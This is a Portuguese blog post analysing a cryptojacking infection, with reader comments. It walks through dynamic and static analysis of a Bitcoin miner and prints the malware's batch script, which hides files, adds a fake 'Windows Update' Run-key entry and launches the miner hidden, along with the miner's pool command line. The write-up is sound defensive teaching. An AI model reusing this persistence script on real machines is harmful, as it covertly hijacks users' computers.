Acredito que todos já ouviram falar no BitCoin e para quem nunca ouviu falar segue a explicação. Há alguns meses foi noticiado um malware que se disseminava via Skype e utilizava o processamento do computador para mineração. O espécime que vamos analisar é um pouco diferente deste…

Tudo começou a algumas semanas atrás quando um amigo(usuário comum) me chamou:

– “Meu computador está muito lento… Por que será?”  Estava funcionando normalmente e “de repente” ficou muito lento…

Fui ver o que estava ocorrendo… De fato, até para abrir o Gerenciador de Tarefas levava mais de 3 min. Estava impossível fazer qualquer coisa…

Fiz o básico: reiniciei o computador em modo seguro e usei o “msconfig” para remover os serviços/programas “estranhos” da inicialização do sistema; Tinham muitos, mas o que mais chamou atenção foi o que estava apontando para “C:\Windows\systems\critical\antivirus.bat”.

Ao acessar a pasta systems\critical tinha o seguinte conteúdo:

Editei o antivirus.bat e tinha a linha abaixo:

system.exe -o hxxp://hitmanuk_multi:123@btcguild.com:8332 -g yes -I 100

Pelo que vimos, o .bat roda o system.exe com os parâmetros acima que serão utilizados pelo mesmo. Antes de iniciar a análise do system.exe, vamos verificar o conteúdo do sys.bat:

@echo off
cd C:\Windows\systems\critical
attrib C:\Windows\systems\critical +h
move C:\Windows\systems\critical\nircmd.exe C:\Windows\system32\
reg.exe add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Update" /t REG_SZ /d "C:\Windows\systems\critical\antivirus.bat" /f
nircmd.exe exec hide antivirus.bat
exit

Primeiro ele muda o atributo para +h(hide),  coloca uma versão alterada do NirCmd(Análise do VirusTotal) em system32 e depois adiciona ao registro na chave “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run” o comando “Windows Update” apontando para onde reside o antivirus.bat para iniciar junto com o sistema e por último o executa em background com os parâmetros necessários ao system.exe.

Vamos usar o ProcessMonitor e o ProcessExplorer (já falados em outro post) para monitorar a execução do system.exe de duas formas, diretamente e através do .bat com os parâmetros. Primeiro, executando diretamente podemos ver alguns pedaços do arquivo:

  • Acessos às dlls do windows (executado diretamente):
    • C:\WINDOWS\system32\ntdll.dll
    • C:\WINDOWS\system32\kernel32.dll
    • C:\WINDOWS\system32\msvcrt.dll
    • C:\WINDOWS\system32\user32.dll
    • C:\WINDOWS\system32\gdi32.dll
    • C:\WINDOWS\system32\oleaut32.dll
    • C:\WINDOWS\system32\advapi32.dll
    • C:\WINDOWS\system32\rpcrt4.dll
    • C:\WINDOWS\system32\secur32.dll
    • C:\WINDOWS\system32\ole32.dll
    • C:\WINDOWS\system32\shlwapi.dll
    • C:\WINDOWS\system32\msvfw32.dll
    • C:\WINDOWS\system32\winmm.dll
    • C:\WINDOWS\system32\shell32.dll
    • C:\WINDOWS\system32\comctl32.dll
    • C:\WINDOWS\system32\ws2_32.dll
    • C:\WINDOWS\system32\ws2help.dll
    • C:\WINDOWS\system32\imm32.dll
    • C:\WINDOWS\system32\psapi.dll
    • C:\WINDOWS\system32\version.dll
  • Através do antivirus.bat(com os parâmetros), vemos que os parâmetros inicializam as dlls acima e outras relacionadas com a pilha tcp(arquivo completo):
    • C:\WINDOWS\system32\wininet.dll
    • C:\WINDOWS\system32\normaliz.dll
    • C:\WINDOWS\system32\iertutil.dll
    • C:\WINDOWS\system32\MSCTF.dll
    • C:\WINDOWS\system32\rasapi32.dll
    • C:\WINDOWS\system32\rasman.dll
    • C:\WINDOWS\system32\netapi32.dll
    • C:\WINDOWS\system32\tapi32.dll
    • C:\WINDOWS\system32\rtutils.dll
    • C:\WINDOWS\system32\userenv.dll
    • C:\WINDOWS\system32\sensapi.dll
    • C:\WINDOWS\system32\msv1_0.dll
    • C:\WINDOWS\system32\iphlpapi.dll

Iniciado o REMnux e o wireshark, podemos ver que ele busca inicialmente o DNS:

log-wireshark_DNSoffEditamos o arquivo hosts do windows e inserimos o host BTCGUILD.COM apontando para o Linux e capturar o tráfego do novamente:

log-wireshark_3way-RST

Agora vemos ele resolvendo o host para a máquina Linux do ambiente “seguro”, mas paramos na emulação de uma rede BTC e da configuração usuário/senha que é utilizado pelo malware. Pensei em instalar algum emulador de “BTCserver”, mas a questão do usuário/senha já configurados me fez  habilitar a internet para essa VM. Mesmo já sabendo o que o malware faz, preferi desativar todos equipamentos que tivessem windows aqui na minha rede.

Abaixo vemos o malware em pleno funcionamento(iniciado manualmente pelo antivirus.bat):

run_with-net

Nesse ponto, me veio uma duvida relacionada com a diferença nos tempo de cálculos das hashes. Segue uma tela com 1cpu e seu tráfego de rede e outra tela com 2cpus e também seu tráfego.

Agora, vamos começar a análise estática.

Primeiro vamos verificar o md5 do system.exe; Para isto vamos usar o md5deep:

C:\Malware\samples\critical>md5deep system.exe
 b1cb4079e36a88a54ce06f63db5e83bb C:\Malware\samples\critical\system.exe

Cada md5 é como se fosse a digital do programa. Podemos buscar em sites de análise de malware ou afins por essa “assinatura”.

Vamos verificar se há algum empacotador ofuscando o software. Para isto vamos usar o PEiD.

peid

Vimos que não há packer no software e que foi usado Visual C++ 6.0 para compilação. Aqui fiquei confuso, pois se usarmos o md5 para buscar por exemplo no VirusTotal, veremos que eles detectaram o Armadillo v1.71, mas aqui não há nenhum… Para ter certeza, resolvi usar também o RDG Packer Detector:

rdg

Mesmo com a detecção completa, o RDG também não achou nada… Será algum falso/positivo do VirusTotal?

Com a pulga atrás da orelha, olhei uma análise do malwr.com que usa o cuckoo para as análises, e além de não encontrar packer, encontrou comunicação IRC para uma possivel bootnet.

Já ficando vesgo com a diferença dos resultados, enviei o arquivo para o malwr.com e para o VirusTotal e fiz uma nova análise com o arquivo. Segue uma imagem que mostra o retorno da análise no momento em que enviei o arquivo:

virustotal_falso-positivo

Após atualizar essa mesma url, é adicionada a informação do packer armadillo, como é visto no mesmo link.

Com estes resultados “diferentes”, percebemos que não dá pra confiar cegamente nas sandboxes… Existe a possibilidade do malware se comportar de forma diferente dependendo do ambiente, e habilitar ou não determinada função.

Mas no nosso caso, além de nossa análise não mostrar packer nem comunicação com botnet, podemos confirmar na análise das strings que realmente não há packer.

Bom, vamos prosseguir com a verificação as strings(é possível verificar as strings na maioria dos debuggers, mas por hora vamos utilizar o executável mesmo).

Strings são uma sequência de caracteres como “Olá”. A verificação das strings é uma etapa muito importante da análise estática visto que podem conter funções usadas pelo malware como “GetProcAddress”, urls como “http://hostdomal.com/infector2.txt”, mensagens como “erro ao enviar email” e outras informações que podem ser úteis e nos dar uma boa pista sobre a atuação do malware.

Abaixo apenas as linhas mais interessantes do system.exe e um link para o arquivo completo… As strings de fato começam a partir da linha 162, no offset 42768:

42768:coin-miner
42780:0.50
42788:Copyright (c) 2011-2013 Ufasoft
42820:http://ufasoft.com/coin
42844:http://127.0.0.1:8332

Vemos acima que é usado o coin-miner da ufasoft. Neste ponto, vi que foi usada mais malicia do que técnica… Acessando a url deu pra ver que é um software legítimo, porém o “malicious coder” utilizou-se de vários recursos do windows para mascarar o minerador como “antivirus.bat”. De qualquer forma, vamos ver mais algumas coisas nas strings:
DLLs:

52046:miner.dll
52196:usft_ext.dll
52264:MSVCRT.dll

Funções:

44008:scrypt
44016:sha256
44024:solid
52212:_purecall
52224:sprintf
52234:memcpy
52244:atoi
52252:_EH_prolog
52278:__lconv_init
52294:?terminate@@YAXXZ
52314:__dllonexit
52328:_onexit
52338:_exit
52346:_XcptFilter
52360:exit
52368:__p___initenv
52384:__getmainargs
52400:_initterm
52412:__setusermatherr
52432:_adjust_fdiv
52448:__p__commode
52464:__p__fmode
52478:__set_app_type
52496:_controlfp
52510:My_except_handler3
52532:My_except_handler4
52554:My_SEH_prolog
52570:My_SEH_epilog
52586:My_SEH_prolog4
52604:My_SEH_epilog4
52622:My_EH_prolog2
52638:My__ehvec_copy_ctor
52660:_My__CxxSetUnhandledExceptionFilter@0
....

Vamos usar o Depends para verificar as funções dinamicamente linkadas. Na figura vemos a tela principal e em seguida, o que representa cada painel do software:

depends-main

  1. O processo principal, com a àrvore de dlls importadas.
  2. Após clicar em miner.dll por exemplo, são mostradas suas funções importadas.
  3. Todas as funções da dll selecionada que podem ser importadas; Caso a função seja chamada pelo numero, é neste painel que podem ser vistas as funções correspondentes aos números.
  4. Contém as dlls que seriam carregadas se o programa for executado e possíveis erros.
  5. Informações adicionais, avisos e erros.

Agora que já temos uma noção do funcionamento do Depends, vamos ao que interessa… Vemos de inicio um tipico caso do item 3, falado acima… As funções são chamadas na dll no painel 2 apenas pelo numero, mas podemos ver quais são as mesmas logo abaixo:

depends_painel

Vemos abaixo a advapi32.dll, que é utilizada para manipular recursos avançados do windows e neste caso, o registro do windows para adicionar o antivirus.bat à inicialização do sistema(a ampulheta ao lado da biblioteca, indica que as funções dela serão importadas em tempo de execução):

depends-advapi

Neste ponto, notei que as funções da kernel32.dll importadas pelo miner.dll são completamente diferentes das importadas pelo usft_ext.dll:

depends-kernel32

Cada uma destas funções e/ou dlls são amplamente documentadas no site da MSDN. Recomendo a passada por lá de vez em quando.. Com o tempo, a gente acostuma e já vai percebendo quais são as funções/dlls mais comuns a determinado tipo de malware/software.

Bom,  já vimos todo processo de funcionamento do malware. Mesmo assim, vamos continuar.. Algumas coisas interessantes sobre o cabeçalho do PE, para relembrar:

Existem diversas seções no cabeçalho PE e estas podem ser fonte úteis de informação.. Abaixo seguem as mais comuns e um resumo do que há nela:

  1. .text =>  instruções que a CPU irá executar. Todas outras seções armazenam dados e informações de suporte. Normalmente esta é a única seção que pode executar e deveria ser a única com código.
  2. .rdata => contém as informações sobre sobre os imports e exports(informação aqui é bem parecida com a informação que vimos no Depends. Pode ter também a .idata para os imports e .edata para os exports. Esta seção pode armazenar outros dados somente leitura usados pelo programa.
  3. .data =>  dados globais que podem ser acessados de qualquer lugar do programa.
  4. .rsrc => recursos usados pelo executável que não são considerados parte do mesmo como menus,  ícones, imagens, algumas strings e outros.

Usaremos o PEview para examinar o system.exe, lembrando sempre das dicas abaixo:

  • IMAGE_FILE_HEADER mostra a data de compilação do executável; mas isso pode ser alterado facilmente e caso tenha sido compilado em Delphi, provavelmente terá a data de compilação default em 19/06/1992.
    • No system.exe, o time date stamp é 23/03/2013 as 23:02 UTC.
  • IMAGE_OPTIONAL_HEADER tem várias informações úteis. Podemos verificar se é um programa que roda na linha de comando ou via interface gráfica, olhando o item Subsystem que em nosso caso possui o valor: IMAGE_SUBSYSTEM_WINDOWS_CUI indicando que é um programa que roda em linha de comando. Caso fosse via interface gráfica, teríamos o mesmo valor, finalizado em GUI.

Algo muito interessante é em cada seção verificarmos os IMAGE_SECTION_HEADER. Estes cabeçalhos trazem duas informações muito úteis que em nosso caso, confirmaram mais ainda que nosso espécime não possui nenhum packer.

  • Virtual Size: tamanho da seção na memória
  • Size of Raw Data: tamanho da seção no disco

Veremos uma imagem com os valores de cada seção, no caso do nosso malware:

Podemos ver que tanto na memória quanto no disco, os valores estão muito próximos, o que descarta a possibilidade uso de packers, pois caso fosse usado, o tamanho do VirtualSize seria muito maior do que o tamanho do SizeofRawData(tamanho no disco).

Vamos utilizar o ResourceHacker para visualizar melhor a seção .rsrc:

Vimos que o system.exe não usa praticamente nenhum recurso que poderia ser armazenado na seção .rsrc… Mas a ferramenta é muito boa. Recomendo uma olhada neste link.

Até agora vimos apenas um executável da pasta… Vamos focar agora a análise no nircmd.exe que está com o malware.

Já sabemos o que ele faz, portanto não precisaremos monitorá-lo com as ferramentas de análise dinâmica… Vamos começar das strings pra frente:

Segue o arquivo completo, e abaixo algumas coisas que podemos destacar:

DLLs:

43212:KERNEL32.DLL
43225:ADVAPI32.dll
43238:GDI32.dll
43248:msvcrt.dll
43259:ole32.dll
43269:SHELL32.dll
43281:USER32.dll
43292:WINMM.dll

Funções:

43304:LoadLibraryA
43318:GetProcAddress
43334:VirtualProtect
43350:VirtualAlloc
43364:VirtualFree
43378:ExitProcess
43392:RegCloseKey
43406:BitBlt
43414:exit
43420:CoInitialize
43434:ShellExecuteA
43450:GetDC
43458:mixerOpen

Pela quantidade de dlls e principalmente as funções que estão presentes nas strings, é muito provável que esteja sendo usado algum packer. Mas para confirmar vamos verificar agora:

Primeiro com o PEiD:

Agora com o RDG, só pra confirmar:

A etapa acima, é muito semelhante ao teste de gravidez… Só precisa repetir se der negativo.. Quando dá positivo, 99,99% é gravidez… (Entendedores, entenderão) :P

Agora vamos descompactar. Visto que está com packer UPX, vamos baixar o software e executá-lo:

Vimos que o arquivo quase dobrou de tamanho. Vamos verificar as strings novamente, agora sem o packer(arquivo completo).

A diferença já começa com quantidade de linhas do arquivo. Com packer foram apenas 1672 linhas; Após a remoção do packer passou para 2287 linhas. Podemos destacar dentre elas:

Informações úteis:

67192:NirCmd v2.71
67206:Copyright (c) 2003 - 2012 Nir Sofer
67245:For more information about using this utility, read the help file - nircmd.chm
67328:http://www.nirsoft.net
67352:open
67360:If you copy NirCmd utility into your Windows directory, you'll be able to use NirCmd without specifying the full path of nircmd.exe
67495:Do you want to copy NirCmd into your Windows directory ?
67552:nircmd.exe
67564:Error
67572:Failed to copy NirCmd !

DLLs:

67716:mscoree.dll
67788:GDIPlus.dll
74896:wininet.dll
74872:rasdlg.dll
74924:netapi32.dll
75088:psapi.dll
75244:rasapi32.dll
77528:KERNEL32.DLL
77541:ADVAPI32.dll
77554:GDI32.dll
77564:msvcrt.dll
77575:ole32.dll
77585:SHELL32.dll
77597:USER32.dll
77608:WINMM.dll

Funções de manipulação de recursos do windows:

70288:DllRegisterServer
70308:DllUnregisterServer
70328:NirCmdWinCls
77620:WritePrivateProfileStringA
77648:OutputDebugStringA
77668:OpenProcess
77682:GetSystemTime
77698:Sleep
77706:DeleteFileA
77720:GetSystemDirectoryA
77742:WinExec
77752:LocalFileTimeToFileTime
77778:WaitForSingleObject
77800:GetCurrentProcess
77820:CreateToolhelp32Snapshot
77846:TerminateProcess
77864:Process32First
77880:GetCurrentThreadId
77900:GetStartupInfoA
77918:Process32Next
77934:GetEnvironmentVariableA
77960:SetProcessAffinityMask
77984:DeviceIoControl
78002:CreateProcessA
78018:SetComputerNameA
78082:ReadProcessMemory
78102:SetPriorityClass
78120:SetFilePointer
78136:FindClose
78148:WideCharToMultiByte
78170:SetFileAttributesA
78190:GetWindowsDirectoryA
78212:CopyFileA
78238:GetProcAddress
78254:LoadLibraryA
78268:GlobalSize
78280:GlobalLock
78292:GlobalUnlock
78306:GlobalAlloc
78320:CloseHandle
78334:SystemTimeToFileTime
78912:GetObjectA
78924:SetTextColor
78938:CreateFontIndirectA
78960:SetBkMode
78972:DeleteObject
79234:atoi
79240:_stricmp
79250:__set_app_type
79266:_except_handler3
79284:_controlfp
79296:strcmp
79304:strchr
79312:strcpy
79320:strtoul
79330:_memicmp
79340:memcmp
79348:strrchr
79358:wcscpy
79366:wcsrchr
79376:_wcsicmp
79386:wcscmp
79394:malloc
79402:free
79408:strlen
79416:memcpy
79424:??2@YAPAXI@Z
79438:??3@YAXPAX@Z
79452:memset
79460:_strcmpi
79470:strcat
79478:sprintf
79622:ExtractIconExA
79638:SHFileOperationA
79656:ShellExecuteExA
79674:SHChangeNotify
79690:ShellExecuteA
79706:Shell_NotifyIconA
79726:ChangeDisplaySettingsA
...muitas linhas...

Alterações no registro:

71832:exec2
71840:exec
71848:execmd
71856:cmd.exe
71864:command.com
71876:%s /c %s
71888:regsetval
71900:The specified key is not valid !
71940:EXPAND_SZ
71952:DWORD
71960:BINARY
71968:regdelval
71980:regdelkey
71992:Cannot delete the key, because it contains one or more subkeys.
72056:regedit
72064:inisetval
72076:inidelval
72088:inidelsec
72100:rasdialdlg
72112:inetdial
72124:The dialing function is not available in your system !
75384:HKEY_LOCAL_MACHINE
75404:HKLM
75412:HKEY_CURRENT_USER
75432:HKCU
75440:HKEY_CLASSES_ROOT
75460:HKCR
75468:HKEY_USERS
75480:HKU
75484:HKEY_CURRENT_CONFIG
75504:HKCC
78670:RegDeleteValueA
78688:RegQueryInfoKeyA
78706:RegOpenKeyExA
78722:RegCreateKeyExA
78740:RegQueryValueExA
78758:RegSetValueExA
78774:RegDeleteKeyA
78790:RegCloseKey

Agora vamos ao depends, e veremos mais uma diferença entre o software empacotado e o que não está:

Com packer:

Sem packer:

Vimos que ao analisar um software com packer, não conseguiremos ver todas as funções, imports e exports que ele faz, justamete devido o uso do packer(empacotador). Quando removemos o packer, o tamanho do arquivo normalmente aumenta e conseguimos visualizar o conteúdo interno do software.

Agora vamos ver as seções do PEHeader com e sem packer:

Com packer:

Sem packer:

Com o nircmd, pudemos ver a diferença de um mesmo software com e sem packer. O packer não significa que o software é malicioso. Muitas vezes um packer é usado para diminuir um programa. Em nosso caso, o programa praticamente dobrou de tamanho. Para um malware, 40k é muita coisa…

Percebemos que o cabeçalho do arquivo PE muda completamente quando se usa um packer e que o VirtualSize fica muito maior que o SizeOfRawData que normalmente é zero.

Bom pessoal, gostei deste malware. Tem mais malicia e engenhosidade, do que técnicas avançadas.  Poderíamos passar para o disassembly do código.. Mas deixaremos isso para outro post e outro malware. Segue o zip da pasta. A senha é malwar

That’s all folks!

  • Nullbe

    Eu que não entendo muito do assunto entendi tudo…Parabéns pelo post, muito bom, objetivo e explicativo.

    • Valeu Nullbe… que bom que gostou… em breve tem mais… hehehe ;-)

  • Opa galera… Valeu demais… Espero continuar mantendo a qualidade e apurando aos poucos o nível técnico..

    Até o próximo post..

  • Robson

    Ótima análise. estou até tonto depois de todo o detalhamento, devemos sempre nos atentar a novas codigos em prol de bitminers, o bitcoin está surgindo silencioso , com alguns pequenos flashs na midia, e todo o tipo de artimanha e malandragem está sendo criada para extrairem mais e mais dinheiro das maquinas de usuarios leigos no assunto, os grandes milionarios do futuro do bitcoin serão pessoas que usaram de pelo menos um meio excuso para obter seu dinheiro…..aff viajei..parabens pela analise.

    • Então Robson.. Que bom que gostou cara…

      A mineração p2p é muito comum, por conta da falta de hardware especializado e/ou a dificuldade de acesso a hardware no minimo “melhorado”….

      Isso de fato é atraente para criadores de malware… Cada um de uma forma.. Fazendo o minerador trabalhar da forma que lhe convém…

      Mas o que mais irrita, é não ter um tipo de controle na rede BTC pra limitar mineração indiscriminada… Tipo, pegar um serial de algum hardware na máquina… mas acho que ai se perderia muito da funcionalidade p2p..

      Enfim, um meio complicado… Mais complicado ainda porque lida com $$.. uma nova moeda.. então, acho que o lance é esperar mesmo..

      Mas mesmo que até o momento, não sejam ainda muito frequentes, os bitminers ainda tem alguns capítulos para aparecer…

  • Logan

    Muito bom o post brother !!! Parabéns

  • Alan Aparicio

    Muito bom post, e ótima didática.

  • Muito bom! Vai fundo! o/

  • TucoLokku

    Parabens,

    muito bem detalhado ;-)

  • Bruno Campos

    Bacana jovem … bem didática sua análise =)

    [s]

  • Bruno “dropped” Criado

    Great…

    Muito bom o post Assuero.

    Parabéns =]